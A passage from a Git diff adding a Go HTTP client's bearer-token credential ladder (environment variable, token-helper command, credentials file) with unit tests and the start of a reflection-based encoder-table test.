%v", err) + } + if string(body) != "ok" { + t.Errorf("body = %q, want %q", body, "ok") + } +} diff --git a/internal/httpclient/credential.go b/internal/httpclient/credential.go new file mode 100644 index 000000000..644627c7f --- /dev/null +++ b/internal/httpclient/credential.go @@ -0,0 +1,273 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/credential.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "io" + "net/http" + "net/url" + "os" + "strconv" + "strings" + "sync" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/creds" + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// CredentialProvider authorizes outbound requests to a bd serve. +// +// It is the wire package's interface, aliased here because design D5 places it +// on this package: any embedder-supplied auth scheme (token sources, mutual +// TLS helpers, gateway auto-detection) implements it against this name. One +// type, two spellings. +type CredentialProvider = wire.CredentialProvider + +const ( + // TokenEnv carries the bearer token itself, the highest rung. + // #nosec G101 -- the NAME of an environment variable, not a credential. + TokenEnv = "BEADS_HTTP_TOKEN" + // TokenCommandEnv names a helper that prints a token, either bare or in the + // kubectl ExecCredential envelope {"token","expirationTimestamp"}. + // #nosec G101 -- the NAME of an environment variable, not a credential. + TokenCommandEnv = "BEADS_HTTP_TOKEN_COMMAND" +) + +// BearerProvider is the default credential ladder for the http backend +// (design D5): BEADS_HTTP_TOKEN, then BEADS_HTTP_TOKEN_COMMAND, then the +// credentials file's [host:port] section, then no credential at all — which is +// the tip OSS server's loopback-trust posture and a legitimate answer, not a +// failure. +// +// The ladder fails closed. A rung the operator configured that then errors +// aborts the request; it never falls through to a lower rung, because the +// difference between a broken token command and an unauthenticated request is +// exactly what nobody notices. +// +// The resolved token is held in memory for the life of the provider and is +// never logged: the only place it appears is the Authorization header. +type BearerProvider struct { + // endpoint is the server this provider authorizes against, rendered for the + // posture warning only. host/port key the credentials-file rung. + endpoint string + host string + port int + // insecure records a bearer bound for a non-loopback host over plain http. + insecure bool + warnOnce sync.Once + warnTo io.Writer + + mu sync.Mutex + resolved bool + token string + // source is the provenance slug of the rung that yielded token — the env var + // name, the token-command env var, or credentialsFileSourceName — so a 401 can + // name which credential the server refused (design D7). Never the token. + source string +} + +// NewBearerProvider builds the default provider for base. +func NewBearerProvider(base *url.URL) *BearerProvider { + p := &BearerProvider{warnTo: os.Stderr} + if base == nil { + return p + } + p.endpoint = base.Redacted() + p.host = base.Hostname() + p.port = endpointPort(base) + p.insecure = base.Scheme == "http" && !configfile.IsLocalHostString(p.host) + return p +} + +// endpointPort is the credentials-file section key's port half. The file is +// keyed [host:port] with a literal number, so a URL that leans on its scheme's +// default port needs that default spelled out or it could never have an entry. +func endpointPort(base *url.URL) int { + if raw := base.Port(); raw != "" { + if port, err := strconv.Atoi(raw); err == nil { + return port + } + return 0 + } + if base.Scheme == "https" { + return 443 + } + return 80 +} + +// Authorize sets the bearer header when a credential is configured. No +// credential configured is not an error: it is how this client talks to the +// unauthenticated loopback server upstream ships. +func (p *BearerProvider) Authorize(ctx context.Context, req *http.Request) error { + token, err := p.current(ctx) + if err != nil { + return err + } + if token == "" { + return nil + } + p.warnInsecure() + req.Header.Set("Authorization", "Bearer "+token) + return nil +} + +// Refresh re-walks the ladder after a 401 and reports whether the request is +// worth re-issuing. +// +// This is the client half of the server's rotation contract: the server re-reads +// its token file on a ~1s gate, so rotation is write {new,old}, roll the +// clients, drop old — and a client that rolled mid-flight 401s once. Re-walking +// the ladder is what "rolled" means on this side, since every rung is re-read. +// +// A credential that did not change is not retried. Sending the same token that +// was just refused would turn a clear 401 into a second one, and the one retry +// the wire client allows is spent for nothing. +func (p *BearerProvider) Refresh(ctx context.Context) (bool, error) { + p.mu.Lock() + defer p.mu.Unlock() + + fresh, source, err := p.resolve(ctx) + if err != nil { + return false, err + } + changed := !p.resolved || fresh != p.token + p.token, p.source, p.resolved = fresh, source, true + // A ladder that now resolves to nothing has nothing to retry with either: + // an unauthenticated retry against a server that just answered 401 is a + // round trip whose answer is already known. + return changed && fresh != "", nil +} + +func (p *BearerProvider) current(ctx context.Context) (string, error) { + p.mu.Lock() + defer p.mu.Unlock() + if p.resolved { + return p.token, nil + } + token, source, err := p.resolve(ctx) + if err != nil { + return "", err + } + p.token, p.source, p.resolved = token, source, true + return p.token, nil +} + +// Source names the ladder rung the current credential came from, in the terms an +// operator configured it (design D7): the env var, the token-command env var, or +// the credentials file keyed by [host:port]. It is what lets a refused-credential +// 401 say WHICH source to rotate or fix. It never returns the credential itself, +// and returns "" both before a token has been resolved and when the ladder +// yielded none — the no-auth posture, where there is no source to name. +func (p *BearerProvider) Source() string { + p.mu.Lock() + defer p.mu.Unlock() + switch p.source { + case "": + return "" + case credentialsFileSourceName: + return fmt.Sprintf("the credentials file [%s:%d]", p.host, p.port) + default: + // The env and token-command rungs carry their env var name as the slug, + // which is exactly the source to name. + return p.source + } +} + +// resolve walks the ladder. The caller holds mu, so a burst of concurrent +// requests runs the token command once rather than once each. It returns the +// resolved token and the provenance slug of the rung that yielded it (empty for +// both when the ladder is unconfigured). +func (p *BearerProvider) resolve(ctx context.Context) (token, source string, err error) { + cred, ok, err := creds.ResolveLadder(ctx, + envTokenSource{Var: TokenEnv}, + commandTokenSource{Var: TokenCommandEnv}, + credentialsFileTokenSource{Host: p.host, Port: p.port}, + ) + if err != nil { + return "", "", err + } + if !ok { + return "", "", nil + } + return cred.Value, cred.Source, nil +} + +// warnInsecure fires once per provider, and only when a token is actually about +// to travel. bd serve has no TLS of its own, so a bearer bound anywhere but +// loopback crosses the network in the clear; that is an operator decision to +// make knowingly, in front of a reverse proxy that terminates TLS. +func (p *BearerProvider) warnInsecure() { + if !p.insecure { + return + } + p.warnOnce.Do(func() { + fmt.Fprintf(p.warnTo, "Warning: sending a bearer token to %s over plain http; the token crosses the network in the clear. Put bd serve behind TLS, or bind it to loopback.\n", p.endpoint) + }) +} + +// envTokenSource is the token-in-the-environment rung. The value is read at +// resolution time rather than at construction, so Refresh sees a token the +// process was handed after this provider was built. +type envTokenSource struct{ Var string } + +func (s envTokenSource) Name() string { return s.Var } + +func (s envTokenSource) Resolve(context.Context) (creds.Credential, bool, error) { + value := strings.TrimSpace(os.Getenv(s.Var)) + if value == "" { + return creds.Credential{}, false, nil + } + return creds.Credential{Value: value, Kind: creds.KindIdentity, Source: s.Var}, true, nil +} + +// commandTokenSource runs an operator-named helper and reads a token from its +// stdout — the credential-process idiom bd already uses for database passwords. +// +// The helper owns its own error text: internal/creds folds the helper's stderr +// into the failure, exactly as it does on the postgres ladder, so a helper must +// keep secrets off stderr the way `bd __gw-credential` does with its canned +// messages. +type commandTokenSource struct{ Var string } + +func (s commandTokenSource) Name() string { return s.Var } + +func (s commandTokenSource) Resolve(ctx context.Context) (creds.Credential, bool, error) { + command := strings.TrimSpace(os.Getenv(s.Var)) + if command == "" { + return creds.Credential{}, false, nil + } + return creds.CommandSource{Command: command, Kind: creds.KindIdentity, Label: s.Var}.Resolve(ctx) +} + +// credentialsFileTokenSource reads the bearer from the shared credentials file's +// [host:port] section, under the same `password` key every other endpoint uses +// there. It is the lowest configured rung and, like the postgres ladder's copy, +// opportunistic: a missing file or a section without an entry is +// indistinguishable from "not configured here" and falls through rather than +// failing the walk. Fail-closed is for rungs an operator named explicitly. +type credentialsFileTokenSource struct { + Host string + Port int +} + +// credentialsFileSourceName is the provenance slug for the file rung, shared by +// the source's Name and BearerProvider.Source so the two cannot drift. +const credentialsFileSourceName = "credentials-file" + +func (s credentialsFileTokenSource) Name() string { return credentialsFileSourceName } + +func (s credentialsFileTokenSource) Resolve(context.Context) (creds.Credential, bool, error) { + if s.Host == "" || s.Port <= 0 { + return creds.Credential{}, false, nil + } + // LookupCredentialsPassword warns on a group- or world-readable file, which + // is the 0600 posture this rung inherits rather than restates. + token := strings.TrimSpace(configfile.LookupCredentialsPassword(s.Host, s.Port)) + if token == "" { + return creds.Credential{}, false, nil + } + return creds.Credential{Value: token, Kind: creds.KindIdentity, Source: s.Name()}, true, nil +} diff --git a/internal/httpclient/credential_source_test.go b/internal/httpclient/credential_source_test.go new file mode 100644 index 000000000..52619bd3d --- /dev/null +++ b/internal/httpclient/credential_source_test.go @@ -0,0 +1,76 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/credential_source_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "net/http" + "net/url" + "testing" +) + +func mustURL(t *testing.T, raw string) *url.URL { + t.Helper() + u, err := url.Parse(raw) + if err != nil { + t.Fatalf("parse %q: %v", raw, err) + } + return u +} + +// resolveProvider drives the token resolution the way an outbound request does, +// so Source() reflects the rung Authorize actually walked. +func resolveProvider(t *testing.T, p *BearerProvider) { + t.Helper() + req, err := http.NewRequest(http.MethodGet, "http://127.0.0.1:8080/v0", nil) + if err != nil { + t.Fatal(err) + } + if err := p.Authorize(context.Background(), req); err != nil { + t.Fatalf("Authorize: %v", err) + } +} + +func TestSourceNamesTheEnvRung(t *testing.T) { + t.Setenv(TokenEnv, "tok-env") + p := NewBearerProvider(mustURL(t, "http://127.0.0.1:8080")) + resolveProvider(t, p) + if got := p.Source(); got != TokenEnv { + t.Errorf("Source() = %q, want the env var name %q", got, TokenEnv) + } +} + +func TestSourceNamesTheTokenCommandRung(t *testing.T) { + // The env rung must be empty so the ladder falls to the command rung. + t.Setenv(TokenEnv, "") + t.Setenv(TokenCommandEnv, "printf tok-cmd") + p := NewBearerProvider(mustURL(t, "http://127.0.0.1:8080")) + resolveProvider(t, p) + if got := p.Source(); got != TokenCommandEnv { + t.Errorf("Source() = %q, want the command env var name %q", got, TokenCommandEnv) + } +} + +func TestSourceRendersTheCredentialsFileRungWithHostPort(t *testing.T) { + // The file rung's slug is host-agnostic, so Source renders it with the + // [host:port] section key an operator would grep for. The slug is captured on + // resolve (proven by the env rung); this pins the rendering the operator sees. + p := NewBearerProvider(mustURL(t, "http://127.0.0.1:8080")) + p.resolved = true + p.source = credentialsFileSourceName + if got, want := p.Source(), "the credentials file [127.0.0.1:8080]"; got != want { + t.Errorf("Source() = %q, want %q", got, want) + } +} + +func TestSourceIsEmptyWithNoCredentialConfigured(t *testing.T) { + // The loopback no-auth posture: the ladder yields nothing, so there is no + // source to name and a 401 stays unadorned. + t.Setenv(TokenEnv, "") + t.Setenv(TokenCommandEnv, "") + p := NewBearerProvider(mustURL(t, "http://127.0.0.1:8080")) + resolveProvider(t, p) + if got := p.Source(); got != "" { + t.Errorf("Source() = %q, want empty for the no-auth posture", got) + } +} diff --git a/internal/httpclient/credential_test.go b/internal/httpclient/credential_test.go new file mode 100644 index 000000000..1e8aa0776 --- /dev/null +++ b/internal/httpclient/credential_test.go @@ -0,0 +1,329 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/credential_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "net/http/httptest" + "net/url" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" +) + +// clearCredentialEnvironment puts every rung of the ladder into its +// not-configured state, so a test names only the rung it is about and an +// operator's own exported token cannot make a test pass. +func clearCredentialEnvironment(t *testing.T) { + t.Helper() + for _, key := range []string{TokenEnv, TokenCommandEnv, "BEADS_CREDENTIALS_FILE"} { + t.Setenv(key, "") + } + // An unset variable and an empty one are the same to every rung, but + // os.Getenv on an inherited empty value is not the same as an absent file: + // point the credentials file at a path that cannot exist. + t.Setenv("BEADS_CREDENTIALS_FILE", filepath.Join(t.TempDir(), "absent")) +} + +func writeCredentialsFile(t *testing.T, host string, port int, token string, mode os.FileMode) string { + t.Helper() + path := filepath.Join(t.TempDir(), "credentials") + body := fmt.Sprintf("[%s:%d]\npassword=%s\n", host, port, token) + if err := os.WriteFile(path, []byte(body), mode); err != nil { + t.Fatalf("write credentials file: %v", err) + } + t.Setenv("BEADS_CREDENTIALS_FILE", path) + return path +} + +func mustParseURL(t *testing.T, raw string) *url.URL { + t.Helper() + u, err := url.Parse(raw) + if err != nil { + t.Fatalf("parse %q: %v", raw, err) + } + return u +} + +// authorizeWith runs one Authorize and returns the header it set. +func authorizeWith(t *testing.T, p *BearerProvider) string { + t.Helper() + req, err := http.NewRequest(http.MethodGet, "http://127.0.0.1:8080/v0/beads/context", nil) + if err != nil { + t.Fatalf("new request: %v", err) + } + if err := p.Authorize(context.Background(), req); err != nil { + t.Fatalf("Authorize: %v", err) + } + return req.Header.Get("Authorization") +} + +// TestNoCredentialConfiguredIsNotAnError pins the loopback-trust posture: the +// tip OSS server has no authentication at all, so an empty ladder must produce a +// plain request rather than a refusal. +func TestNoCredentialConfiguredIsNotAnError(t *testing.T) { + clearCredentialEnvironment(t) + p := NewBearerProvider(mustParseURL(t, "http://127.0.0.1:8080")) + if got := authorizeWith(t, p); got != "" { + t.Errorf("Authorization = %q, want no header", got) + } +} + +func TestCredentialLadderPrecedence(t *testing.T) { + base := mustParseURL(t, "http://127.0.0.1:8080") + + t.Run("env is the top rung", func(t *testing.T) { + clearCredentialEnvironment(t) + writeCredentialsFile(t, "127.0.0.1", 8080, "from-file", 0o600) + t.Setenv(TokenEnv, "from-env") + if got := authorizeWith(t, NewBearerProvider(base)); got != "Bearer from-env" { + t.Errorf("Authorization = %q, want the env rung", got) + } + }) + + t.Run("the credentials file is the bottom rung", func(t *testing.T) { + clearCredentialEnvironment(t) + writeCredentialsFile(t, "127.0.0.1", 8080, "from-file", 0o600) + if got := authorizeWith(t, NewBearerProvider(base)); got != "Bearer from-file" { + t.Errorf("Authorization = %q, want the credentials-file rung", got) + } + }) + + t.Run("a section for another endpoint is not consulted", func(t *testing.T) { + clearCredentialEnvironment(t) + writeCredentialsFile(t, "10.0.0.9", 8080, "someone-elses", 0o600) + if got := authorizeWith(t, NewBearerProvider(base)); got != "" { + t.Errorf("Authorization = %q, want no header: the file has no entry for this server", got) + } + }) + + t.Run("an https URL without a port keys on 443", func(t *testing.T) { + clearCredentialEnvironment(t) + writeCredentialsFile(t, "beads.example.com", 443, "tls-token", 0o600) + p := NewBearerProvider(mustParseURL(t, "https://beads.example.com/")) + if got := authorizeWith(t, p); got != "Bearer tls-token" { + t.Errorf("Authorization = %q, want the default-port section", got) + } + }) +} + +// TestCredentialLadderFailsClosed is the rule the postgres ladder wrote down: a +// rung the operator configured that then errors aborts the request. Silently +// dropping to a lower rung is how a misconfigured helper becomes an +// unauthenticated request nobody noticed. +func TestCredentialLadderFailsClosed(t *testing.T) { + clearCredentialEnvironment(t) + writeCredentialsFile(t, "127.0.0.1", 8080, "lower-rung", 0o600) + t.Setenv(TokenCommandEnv, "exit 7") + + p := NewBearerProvider(mustParseURL(t, "http://127.0.0.1:8080")) + req, err := http.NewRequest(http.MethodGet, "http://127.0.0.1:8080/v0/beads/context", nil) + if err != nil { + t.Fatalf("new request: %v", err) + } + err = p.Authorize(context.Background(), req) + if err == nil { + t.Fatal("Authorize = nil; a failing token command must abort the request") + } + if !strings.Contains(err.Error(), TokenCommandEnv) { + t.Errorf("error %q does not name the rung that failed", err) + } + if req.Header.Get("Authorization") != "" { + t.Error("a failed ladder still set an Authorization header") + } +} + +// TestRefreshRereadsTheCredentialSource is the client half of the server's +// rotation contract. The server re-reads its token file on a ~1s gate, so a +// rolled client 401s once and succeeds on the retry — but only if Refresh +// actually re-reads rather than replaying what it cached. +func TestRefreshRereadsTheCredentialSource(t *testing.T) { + clearCredentialEnvironment(t) + path := writeCredentialsFile(t, "127.0.0.1", 8080, "old-token", 0o600) + p := NewBearerProvider(mustParseURL(t, "http://127.0.0.1:8080")) + + if got := authorizeWith(t, p); got != "Bearer old-token" { + t.Fatalf("Authorization = %q, want the pre-rotation token", got) + } + + t.Run("an unchanged credential is not retried", func(t *testing.T) { + retry, err := p.Refresh(context.Background()) + if err != nil { + t.Fatalf("Refresh: %v", err) + } + if retry { + t.Error("Refresh asked for a retry with the same token the server just refused") + } + }) + + t.Run("a rotated credential is retried with the new value", func(t *testing.T) { + if err := os.WriteFile(path, []byte("[127.0.0.1:8080]\npassword=new-token\n"), 0o600); err != nil { + t.Fatalf("rotate credentials file: %v", err) + } + retry, err := p.Refresh(context.Background()) + if err != nil { + t.Fatalf("Refresh: %v", err) + } + if !retry { + t.Fatal("Refresh did not ask for a retry after the credential rolled") + } + if got := authorizeWith(t, p); got != "Bearer new-token" { + t.Errorf("Authorization = %q, want the rotated token", got) + } + }) + + t.Run("a credential that went away is not retried", func(t *testing.T) { + if err := os.WriteFile(path, []byte("[127.0.0.1:8080]\n"), 0o600); err != nil { + t.Fatalf("empty the credentials file: %v", err) + } + retry, err := p.Refresh(context.Background()) + if err != nil { + t.Fatalf("Refresh: %v", err) + } + if retry { + t.Error("Refresh asked to retry unauthenticated against a server that answered 401") + } + }) +} + +// TestPlainHTTPBearerWarnsOnceAndLeaksNothing: bd serve has no TLS of its own, +// so a bearer bound past loopback crosses the network in the clear. The warning +// is once per provider — a paged read would otherwise print it per request — and +// it names the server, never the token. +func TestPlainHTTPBearerWarnsOnceAndLeaksNothing(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, "s3cr3t-token") + + var sink strings.Builder + p := NewBearerProvider(mustParseURL(t, "http://beads.example.com:8080")) + p.warnTo = &sink + + for range 3 { + if got := authorizeWith(t, p); got != "Bearer s3cr3t-token" { + t.Fatalf("Authorization = %q", got) + } + } + + warning := sink.String() + if strings.Count(warning, "Warning:") != 1 { + t.Errorf("warning fired %d times, want once:\n%s", strings.Count(warning, "Warning:"), warning) + } + if !strings.Contains(warning, "beads.example.com:8080") { + t.Errorf("warning does not name the server:\n%s", warning) + } + if strings.Contains(warning, "s3cr3t-token") { + t.Fatal("the insecure-transport warning printed the token") + } +} + +func TestLoopbackBearerDoesNotWarn(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, "local-token") + + var sink strings.Builder + p := NewBearerProvider(mustParseURL(t, "http://127.0.0.1:8080")) + p.warnTo = &sink + authorizeWith(t, p) + + if sink.String() != "" { + t.Errorf("loopback warned about plain http:\n%s", sink.String()) + } +} + +// TestCredentialsFilePostureIsChecked proves the file rung goes through the +// shared credentials reader rather than reading the file itself: the 0600 +// posture warning is that reader's, and a rung that bypassed it would silently +// accept a world-readable token file. +func TestCredentialsFilePostureIsChecked(t *testing.T) { + if os.Getuid() == 0 { + t.Skip("permission bits do not gate root") + } + clearCredentialEnvironment(t) + writeCredentialsFile(t, "127.0.0.1", 8080, "loose-token", 0o644) + + stderr := captureStderr(t, func() { + if got := authorizeWith(t, NewBearerProvider(mustParseURL(t, "http://127.0.0.1:8080"))); got != "Bearer loose-token" { + t.Errorf("Authorization = %q", got) + } + }) + if !strings.Contains(stderr, "overly permissive") { + t.Errorf("no posture warning for a 0644 credentials file:\n%s", stderr) + } + if strings.Contains(stderr, "loose-token") { + t.Fatal("the posture warning printed the token") + } +} + +func captureStderr(t *testing.T, fn func()) string { + t.Helper() + r, w, err := os.Pipe() + if err != nil { + t.Fatalf("os.Pipe: %v", err) + } + orig := os.Stderr + os.Stderr = w + done := make(chan string, 1) + go func() { + body, _ := io.ReadAll(r) + done <- string(body) + }() + + fn() + + os.Stderr = orig + _ = w.Close() + out := <-done + _ = r.Close() + return out +} + +// contextServer answers the handshake and records what it was asked with. +type contextServer struct { + body apigen.ContextResponse + require string // when set, a request without this bearer gets a 401 + // onUnauthorized runs just after a 401 is written. It is how the rotation + // test lands the rewrite in the one place it happens in production: between + // the refused attempt and the client's re-read. + onUnauthorized func() + seen []string +} + +func (s *contextServer) start(t *testing.T) *httptest.Server { + t.Helper() + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + s.seen = append(s.seen, r.Header.Get("Authorization")) + if s.require != "" && r.Header.Get("Authorization") != "Bearer "+s.require { + w.Header().Set("WWW-Authenticate", "Bearer") + w.Header().Set("Content-Type", "application/problem+json") + w.WriteHeader(http.StatusUnauthorized) + _, _ = io.WriteString(w, `{"type":"about:blank","title":"unauthorized","status":401,"code":"invalid_argument"}`) + if s.onUnauthorized != nil { + s.onUnauthorized() + } + return + } + w.Header().Set("Content-Type", "application/json") + _ = json.NewEncoder(w).Encode(s.body) + })) + t.Cleanup(srv.Close) + return srv +} + +func v0Context(projectID string) apigen.ContextResponse { + return apigen.ContextResponse{ + ApiVersion: "v0", + BdVersion: "1.1.0", + Backend: "dolt", + Database: "beads", + RepoRoot: ptr("/srv/repo"), + ProjectId: projectID, + Capabilities: []string{"issues.list", "ready.list"}, + } +} diff --git a/internal/httpclient/encode/BUILD.bazel b/internal/httpclient/encode/BUILD.bazel new file mode 100644 index 000000000..e9faf9c17 --- /dev/null +++ b/internal/httpclient/encode/BUILD.bazel @@ -0,0 +1,48 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "encode", + srcs = [ + "encode.go", + "ledger.go", + "ledger_fields.go", + "ledger_render.go", + "parentwalk.go", + "skew.go", + "table.go", + ], + importpath = "github.com/steveyegge/beads/internal/httpclient/encode", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/types", + "//internal/workapi", + "//issueops", + ], +) + +go_test( + name = "encode_test", + srcs = [ + "bijection_test.go", + "ledger_render_test.go", + "oracle_test.go", + "parentwalk_test.go", + "roundtrip_test.go", + "skew_test.go", + ], + data = [ + "//:engdocs/design/http-divergence-ledger.md", + "//cmd/bd:go_srcs", + "//internal/httpapi/spec:openapi.v0.yaml", + ] + glob(["*.go"]), + embed = [":encode"], + deps = [ + "//internal/httpapi", + "//internal/httpapi/spec", + "//internal/types", + "//internal/workapi", + "//issueops", + "//memoryops", + "@in_gopkg_yaml_v3//:yaml_v3", + ], +) diff --git a/internal/httpclient/encode/bijection_test.go b/internal/httpclient/encode/bijection_test.go new file mode 100644 index 000000000..ee6389fd9 --- /dev/null +++ b/internal/httpclient/encode/bijection_test.go @@ -0,0 +1,764 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/encode/bijection_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package encode + +import ( + "errors" + "fmt" + "go/ast" + "go/parser" + "go/token" + "os" + "path/filepath" + "reflect" + "slices" + "sort" + "strings" + "testing" + "time" + + "gopkg.in/yaml.v3" + + "github.com/steveyegge/beads/internal/httpapi/spec" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// GATE 1: the reflection bijection. +// +// This is the ONLY defense against a silently dropped flag. A round-trip +// fixture cannot be one: a filter nobody thought to fixture round-trips +// perfectly by being absent from both sides, and the server can only reject +// parameters it RECEIVES — so the field an encoder never learned about is +// invisible from every direction except this one. +// +// It runs four ways, and each catches a different way the classification can go +// stale: +// +// upstream -> here every populatable field of every request shape is in the +// encoder table. A field added to issueops.ListRequest +// tomorrow fails here rather than shipping as a widened +// result set. +// here -> upstream every table entry and every field-shaped ledger row names +// a field that still exists. A renamed field fails rather +// than leaving a rule that matches nothing. +// document -> here every query parameter the operation publishes is driven +// by a field or explicitly reserved. A parameter added to +// the wire fails rather than staying unreachable. +// table -> encoder populating one field at a time makes the encoder behave +// the way the table says it does. +// +// COMPLETENESS IS THE TEST'S OWN INVARIANT. An empty table set, an empty table, +// an empty ledger and a ledger row nothing classifies are all failures here — +// otherwise the cheapest way to make this gate green would be to delete its +// input. + +func TestEncoderTableClassifiesEveryRequestField(t *testing.T) { + tables := Tables() + if len(tables) == 0 { + t.Fatal("the encoder table is empty; there is nothing for this gate to check") + } + + seenPrimary := map[Op]bool{} + for _, table := range tables { + t.Run(tableName(table), func(t *testing.T) { + if len(table.Fields) == 0 { + t.Fatal("table has no field entries") + } + if table.Source == nil || table.Source.Kind() != reflect.Struct { + t.Fatalf("Source %v is not a struct type", table.Source) + } + if table.Target == nil || table.Target.Kind() != reflect.Struct { + t.Fatalf("Target %v is not a struct type", table.Target) + } + + classified := map[string]bool{} + for _, entry := range table.Fields { + if classified[entry.Name] { + t.Errorf("field %s is classified twice", entry.Name) + } + classified[entry.Name] = true + checkEntry(t, table, entry) + } + + for _, name := range populatableFields(table.Source) { + if !classified[name] { + t.Errorf("%s.%s is populatable and UNCLASSIFIED.\n"+ + "Add it to the %s table with a disposition, or refuse it with a divergence-ledger row.\n"+ + "An unclassified field is a filter this client would drop silently — see engdocs/design/http-client-backend.md D7 and D9 L12.", + table.Source.Name(), name, tableName(table)) + } + } + for name := range classified { + if _, ok := table.Source.FieldByName(name); !ok { + t.Errorf("table entry %s.%s names a field that does not exist", table.Source.Name(), name) + } + } + }) + + if table.Primary { + if seenPrimary[table.Op] { + t.Errorf("operation %s has more than one primary table", table.Op) + } + seenPrimary[table.Op] = true + } + } + + for _, op := range []Op{OpListReadyWork, OpCountReadyWork, OpListIssues, OpQueryIssues, OpCountIssues, OpGetIssue} { + if !seenPrimary[op] { + t.Errorf("operation %s has no primary table, so nothing checks it against the document", op) + } + } +} + +func checkEntry(t *testing.T, table Table, entry FieldEntry) { + t.Helper() + where := fmt.Sprintf("%s.%s", table.Source.Name(), entry.Name) + + switch entry.Disposition { + case DispParam, DispPath: + if entry.Param == "" { + t.Errorf("%s: %s entry names no parameter", where, entry.Disposition) + } + if entry.Decoded == "" { + t.Errorf("%s: %s entry names no decoded field", where, entry.Disposition) + return + } + if _, ok := table.Target.FieldByName(entry.Decoded); !ok { + t.Errorf("%s: decoded field %s.%s does not exist", where, table.Target.Name(), entry.Decoded) + } + case DispServerFixed: + if entry.Fixed == "" { + t.Errorf("%s: server-fixed entry names no value", where) + } + if entry.Why == "" { + t.Errorf("%s: server-fixed entry carries no reason", where) + } + case DispClientSide: + if entry.Why == "" { + t.Errorf("%s: client-side entry carries no reason, so nothing says which machinery honors it", where) + } + case DispNested: + if entry.Why == "" { + t.Errorf("%s: nested entry carries no reason, so nothing says why the shape is delegated", where) + return + } + if entry.Decoded == "" { + t.Errorf("%s: nested entry names no decoded field", where) + return + } + if _, ok := table.Target.FieldByName(entry.Decoded); !ok { + t.Errorf("%s: decoded field %s.%s does not exist", where, table.Target.Name(), entry.Decoded) + } + // The delegation has to LAND somewhere. A nested entry naming a shape no + // table classifies would read as coverage while classifying nothing — + // the same leftover the ledger's own completeness arms exist to catch. + field, ok := table.Source.FieldByName(entry.Name) + if !ok { + return // the missing-field arm above already reported it. + } + delegated := false + for _, other := range Tables() { + if other.Source == field.Type { + delegated = true + break + } + } + if !delegated { + t.Errorf("%s: nested entry delegates to %s, which no encoder table classifies", where, field.Type) + } + case DispDropped, DispRefused, DispInverted: + if entry.Ledger == "" { + t.Fatalf("%s: %s entry cites no divergence-ledger row", where, entry.Disposition) + } + if entry.Disposition == DispInverted && entry.Why == "" { + t.Errorf("%s: inverted entry carries no reason, so nothing says which derivation re-produces it", where) + } + row := findRow(t, entry.Ledger) + if row.Type != nil && (row.Type != table.Source || row.Field != entry.Name) { + t.Errorf("%s: cites ledger row %s, which is about %s.%s", where, row.ID, row.Type.Name(), row.Field) + } + wantKind := KindRefuse + if entry.Disposition == DispDropped { + wantKind = KindDegrade + } + if row.Kind != wantKind { + t.Errorf("%s: %s entry cites ledger row %s of kind %q, want %q", where, entry.Disposition, row.ID, row.Kind, wantKind) + } + default: + t.Errorf("%s: unknown disposition %q", where, entry.Disposition) + } +} + +func TestLedgerRowsAreWellFormed(t *testing.T) { + rows := Ledger() + if len(rows) == 0 { + t.Fatal("divergence ledger v1 is empty") + } + + tests := testFunctionsInThisPackage(t) + ids := map[string]bool{} + for _, row := range rows { + if row.ID == "" { + t.Fatalf("a ledger row carries no id: %+v", row) + } + if ids[row.ID] { + t.Errorf("duplicate ledger row id %q", row.ID) + } + ids[row.ID] = true + + switch row.Kind { + case KindRefuse, KindDegrade, KindRetired: + default: + t.Errorf("%s: unknown kind %q", row.ID, row.Kind) + } + for name, value := range map[string]string{"What": row.What, "Why": row.Why, "SpecRow": row.SpecRow, "PinnedBy": row.PinnedBy} { + if strings.TrimSpace(value) == "" { + // PinnedBy especially: D9's whole discipline is that a ledger + // row without a pin is a wish. A TODO naming the owning bead is + // an acceptable pin; an empty string is not. + t.Errorf("%s: %s is empty", row.ID, name) + } + } + // A pin is a TEST or a bead, never a hopeful sentence. A row naming a + // test that does not exist is exactly the shape of a ledger that has + // drifted from the suite it claims to be held to. + if !strings.HasPrefix(row.PinnedBy, "TODO(") && !tests[row.PinnedBy] { + t.Errorf("%s: PinnedBy %q is neither a test in this package nor a TODO()", row.ID, row.PinnedBy) + } + if (row.Type == nil) != (row.Field == "") { + t.Errorf("%s: Type and Field must be set together (Type=%v Field=%q)", row.ID, row.Type, row.Field) + } + if row.Type != nil { + if _, ok := row.Type.FieldByName(row.Field); !ok { + t.Errorf("%s: names %s.%s, which does not exist — the field was renamed or removed and this row now matches nothing", + row.ID, row.Type.Name(), row.Field) + } + } + } +} + +// TestNoLedgerRowIsUnknownToTheEncoderTable is the other half of the ledger +// bijection: a row about a field of a shape this package encodes must be a +// field that shape's table actually classifies. +// +// Without it the ledger could accumulate rows for fields nobody encodes, and a +// reader auditing "is this refusal real?" would have no way to tell a live rule +// from a leftover. Rows about the WRITE shapes (D8's refuse-not-drop +// enumeration) are deliberately exempt: this package encodes no request bodies, +// and their reflection check above is what keeps them honest. +func TestNoLedgerRowIsUnknownToTheEncoderTable(t *testing.T) { + encoded := map[reflect.Type]map[string]bool{} + for _, table := range Tables() { + if encoded[table.Source] == nil { + encoded[table.Source] = map[string]bool{} + } + for _, entry := range table.Fields { + encoded[table.Source][entry.Name] = true + } + } + + for _, row := range Ledger() { + if row.Type == nil { + continue + } + fields, ok := encoded[row.Type] + if !ok { + continue // a write-shape row; see the doc comment. + } + if 